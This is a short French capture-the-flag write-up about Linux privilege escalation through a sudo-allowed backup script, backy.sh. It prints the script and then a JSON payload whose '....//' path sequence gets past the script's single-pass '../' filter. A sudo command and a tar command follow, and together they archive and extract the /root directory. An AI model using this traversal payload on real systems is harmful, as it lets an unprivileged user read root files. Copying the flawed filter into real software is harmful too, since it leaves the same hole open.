Sudo - backy.sh (script) - Linux Privilege Escalation

Nous apprenons que martin peut exécuter /usr/bin/backy.sh en tant que root.

sudo -l

Le script vérifie :

• Que le fichier JSON donné existe,

• Que chaque chemin dans directories_to_archive est sous /var/ ou /home/,

• Supprime les séquences ../ via jq.

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Contournement :

On configure un fichier pwned.json :

{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}

Exécution :

sudo /usr/bin/backy.sh pwned.json

Décompression :

tar -xf code_home_.._.._._root_2025_April.tar.bz2